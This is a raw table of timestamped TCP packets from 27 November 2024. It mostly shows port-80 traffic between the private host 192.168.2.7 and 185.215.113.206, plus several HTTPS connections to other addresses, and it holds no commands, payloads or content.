Nov 27, 2024 16:34:53.686821938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.686939955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.687510014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.687618971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.687707901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.688400030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.688468933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.688472033 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.689306974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.689388037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.689515114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.690283060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.690407038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.691157103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.691281080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.691297054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.692087889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.692156076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.692214966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.692472935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.692939997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.695991039 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.696501970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.736648083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.736670017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.736784935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.736934900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.736939907 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.737080097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.737786055 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.738010883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.738095999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.738128901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.738785982 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.738945007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.738965034 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.739659071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.739696026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.739727020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.740571022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.740573883 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.740689039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.741472006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.741527081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.741578102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.742438078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.742465019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.743042946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.743309975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.743482113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.743541002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.744230032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.744349003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.744406939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.745084047 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.745229959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.745960951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.746031046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.795634031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.795663118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.796135902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.796273947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.796293020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.796361923 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.796969891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.797158957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.798230886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.798376083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.798414946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.798995018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.799179077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.799295902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.800745010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.800868988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.800918102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.801002979 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.801479101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.801549911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.801667929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.802376986 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.802424908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.803035021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.803091049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.803190947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.803190947 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.803721905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.804594040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.865870953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.865925074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.866172075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.866332054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.866345882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.866411924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.866439104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.867304087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.867376089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.867485046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.868196011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.868448973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.868482113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.869045019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.869187117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.869199038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.869981050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.870028973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.870086908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.870908976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.871001959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.871078014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.871783018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.871885061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.871948004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.872663021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.872771025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.873614073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.873771906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.873796940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.874593019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.874648094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.874665976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.875086069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.875385046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.875468016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.875550985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.876326084 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.876497984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.027941942 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.027990103 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.028553009 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.030097961 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:54.030153036 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:54.030296087 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:54.030447006 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.030596018 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.031649113 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:54.031675100 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:54.032852888 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.047643900 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.047667027 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.047739029 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.047765017 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.048645020 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.048727036 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.069983006 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.070585012 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.070643902 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.075330019 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.094805956 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.094840050 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.095659018 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.095705032 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.151510954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.272420883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.329936028 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.329963923 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.329972982 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.329987049 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.329996109 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.330046892 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.330065966 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.330105066 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.330770016 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.330785036 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.330828905 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.330952883 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.330981970 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.331060886 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.359287024 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:54.359342098 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:54.359541893 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:54.360002041 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:54.360043049 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:54.360120058 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:54.360424995 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:54.360435963 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:54.360620975 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:54.360744953 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:54.360755920 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:54.360836029 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:54.360855103 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:54.360929966 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:54.360953093 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:54.388295889 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.388333082 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.388442993 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.390640974 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:54.390657902 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:54.517323971 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.519577980 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.519615889 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.520664930 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.520678043 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.590193987 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.591434002 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.591464996 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.592046976 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.592051983 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.639462948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.639543056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.639610052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.639652014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.639836073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.639884949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.639935970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.640003920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.640805960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.640856028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.640899897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.640974045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.641700029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.641751051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.641814947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.641854048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.642554998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.642602921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.642611980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.642704010 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.643455029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.643516064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.643522978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.643567085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.644440889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.644556999 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.644617081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.645301104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.645353079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.645399094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.645437956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.646435022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.646450996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.646480083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.646508932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.647114038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.647171974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.647370100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.647411108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.648030043 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.648066044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.648099899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.648122072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.648931980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.648997068 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.649091005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.649136066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.649820089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.649867058 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.649947882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.649992943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.650716066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.650762081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.650859118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.650898933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.651612997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.651660919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.651801109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.651839972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.652669907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.652712107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.652740955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.652776003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.653461933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.653624058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.653629065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.653667927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.654814005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.654830933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.654865980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.654918909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.655680895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.655761003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.655802965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.656359911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.656404018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.656455994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.656502962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.657058001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.657124996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.657171011 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.657952070 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.658010960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.658046961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.658196926 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.659658909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.659672022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.659712076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.659859896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.659900904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.659957886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.660109997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.660723925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.660769939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.661967039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.662005901 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.662009954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.662023067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.662045956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.662066936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.721513987 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.721575022 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.721656084 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.721726894 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.724885941 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.724996090 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.725214005 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.725233078 CET	443	49867	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:54.725296021 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.725320101 CET	49867	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:54.773999929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.774075985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.774122000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.774199009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.774442911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.774497032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.774590969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.774629116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.775476933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.775593996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.775645018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.775707960 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.776328087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.776361942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.776391983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.776411057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.777218103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.777264118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.777323961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.777378082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.777493000 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.777870893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.777930021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.777980089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.778023958 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.778105021 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.778121948 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.778670073 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.778673887 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.778682947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.778721094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:54.778829098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:54.778875113 CET	49777	80	192.168.2.7	185.215.113.206
